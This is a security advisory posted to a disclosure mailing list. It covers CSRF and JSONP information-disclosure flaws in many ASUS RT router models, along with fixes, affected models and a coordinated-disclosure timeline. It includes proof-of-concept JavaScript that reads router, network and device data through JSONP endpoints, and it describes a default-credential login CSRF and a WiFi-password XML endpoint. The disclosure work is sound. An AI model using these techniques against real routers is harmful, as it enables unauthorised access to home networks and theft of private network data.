[FD] Multiple Vulnerabilities in ASUS Routers [CVE-2017-5891 and CVE-2017-5892]

[Original post here: http://ift.tt/2r0Me2G] Summary Various models of ASUS RT routers have several CSRF vulnerabilities allowing malicious sites to login and change settings in the router; multiple JSONP vulnerabilities allowing exfiltration of router data and an XML endpoint revealing WiFi passwords. Most of these issues have been fixed by Asus in the March 2017 firmware update under v3.0.0.4.380.7378. One issue (JSONP information disclosure) remains unfixed since the vendor doesn't consider it to be a security threat. CVE-2017-5891 has been assigned to the CSRF issues, and CVE-2017-5892 to cover the non-CSRF issues. Vulnerability Details RT routers from ASUS like many other routers come with a built-in web interface accessible over the local network but normally not accessible via the Internet. We discovered multiple issues within that web interface that would can facilitate attacks on the router either via a malicious site visited by a user on the same network, or a malicious mobile or desktop application running on the same network. For the CSRF vulnerabilities, a user would need to visit a malicious site which can try to login and change settings. For the JSONP vulnerabilities, a website can load the JSONP endpoints via SCRIPT tags as long as matching function name is defined on that site. The XML endpoint requires a mobile or desktop application to exploit. NOTE: all of these assume that the attacker knows the local IP address of the router. This could probably be guessed or be determined via Javascript APIs like WebRTC. For desktop and mobile applications, determination of the gateway address should be trivial to implement. Issue #1 - Login Page CSRF The login page for the router doesn't have any kind of CSRF protection, thus allowing a malicious website to submit a login request to the router without the user's knowledge. Obviously, this only works if the site either knows the username and password of the router OR the user hasn't changed the default credentials ("admin / admin"). To exploit, submit the base-64 encoded username and password as "login_authorization" form post, to the "/login.cgi" URL of the browser. Example of a form that can exploit this issue (uses default credentials):

Issue #2 - Save Settings CSRF The various pages within the interface that can save settings do not have CSRF protection. That means that a malicious site, once logged in as described above would be able to change any settings in the router without the user's knowledge. NOTE: We have not been to exploit this issue consistently Issue #3 - JSONP Information Disclosure Without Login Two JSONP endpoints exist within the router which allow detection of which ASUS router is running and some information disclosure. No login is required to the router. The vendor doesn't consider these endpoints a security threat. The endpoints are as follows: /findasus.json Returns the router model name, SSID name and the local IP address of the router iAmAlive([{model?Name: "XXX", ssid: "YYY", ipAddr: "ZZZZ"}]) /httpd_check.json Returns: {"alive": 1, "isdomain": 0} Exploit code as follows: function iAmAlive(payload) { window.alert("Result returned: " + JSON.stringify(payload)); } function alert1() { var script = document.createElement('script'); script.src = 'http://ift.tt/2pv9NyO' document.getElementsByTagName('head')[0].appendChild(script); } function alert2() { var script = document.createElement('script'); script.src = 'http://ift.tt/2qRpQeU' document.getElementsByTagName('head')[0].appendChild(script); } Issue #4 - JSONP Information Disclosure, Login Required There exist multiple JSONP endpoints within the router interface that reveal various data from the router including. Below is a list of endpoints and exploit code: /status.asp - Network Information function getstatus() { var script = document.createElement('script'); script.src = 'http://ift.tt/1yF9uRq' document.getElementsByTagName('head')[0].appendChild(script); } function show_wanlink_info() { var obj = {}; obj.status = wanlink_status(); obj.statusstr = wanlink_statusstr(); obj.wanlink_type = wanlink_type(); obj.wanlink_ipaddr = wanlink_ipaddr(); obj.wanlink_xdns = wanlink_xdns(); window.alert(JSON.stringify(obj)); }


/wds_aplist_2g.asp - Surrounding Access points, 2.4 Ghz band /wds_aplist_5g.asp - Surrounding Access points, 5 Ghz band function getwds_2g() { var script = document.createElement('script'); script.src = 'http://ift.tt/2qRj0X9' document.getElementsByTagName('head')[0].appendChild(script); } function getwds_5g() { var script = document.createElement('script'); script.src = 'http://ift.tt/2pvnnSX' document.getElementsByTagName('head')[0].appendChild(script); }


/update_networkmapd.asp - Network map of devices on the network function getmap() { var script = document.createElement('script'); script.src = 'http://ift.tt/2qRifgx' document.getElementsByTagName('head')[0].appendChild(script); }


/update_clients.asp - Origin data function getorigin() { originData = []; var script = document.createElement('script'); script.src = 'http://ift.tt/2pvl1mM' document.getElementsByTagName('head')[0].appendChild(script); }
/get_real_ip.asp - External IP address function getrealip() { var script = document.createElement('script'); script.src = 'http://ift.tt/2qRdlA2' document.getElementsByTagName('head')[0].appendChild(script); }
/get_webdavInfo.asp - WebDAV information function getwebdav() { var script = document.createElement('script'); script.src = 'http://ift.tt/2pvjXzz'; document.getElementsByTagName('head')[0].appendChild(script); }


Issue #5 - XML Endpoint Reveals WiFi Passwords An XML endpoint exists in the router which reveals the WiFi password to the router but to fully exploit this issue, it would require a mobile or desktop application running on the local network since XML cannot be loaded cross origin in the browser. This endpoint can be accessed at the following URL and requires login: [router IP]/WPS_info.xml Mitigation Steps / Vendor Response Users should change the default credentials and apply the latest firmware released by ASUS, version v3.0.0.4.380.7378 or higher. There is no mitigation available for the issue #3 - JSONP information disclosure without login. Affected models include the following ASUS routers: RT-AC55U RT-AC56R RT-AC56S RT-AC56U RT-AC66U RT-AC88U RT-AC66R RT-AC66U RT-AC66W RT-AC68W RT-AC68P RT-AC68R RT-AC68U RT-AC87R RT-AC87U RT-AC51U RT-AC53U RT-AC1900P RT-AC3100 RT-AC3200 RT-AC5300 RT-N11P RT-N12 (D1 version only) RT-N12+ RT-N12E RT-N18U RT-N56U RT-N66R RT-N66U (B1 version only) RT-N66W References CVE-IDs: CVE-2017-5891 and CVE-2017-5892 CERT/CC Tracking # VR-627 Credits We would like to thank CERT/CC for helping to coordinate the disclosure process. This advisory was written by Yakov Shafranovich. Timeline 2017-01-21: Initial contact with the vendor 2017-01-23: Initial contact with CERT/CC 2017-02-05: Vulnerability details and POC code provided to the vendor, CVEs requested 2017-02-10: Vulnerability analysis received from the vendor 2017-02-12: Beta firmware provided by the firmware to test fixes 2017-02-12: Vendor fixes confirmed 2017-03-31: Fixed firmware released publicly by the vendor 2017-05-01: Draft advisory shared with the vendor and CERT/CC 2017-05-09: Public disclosure

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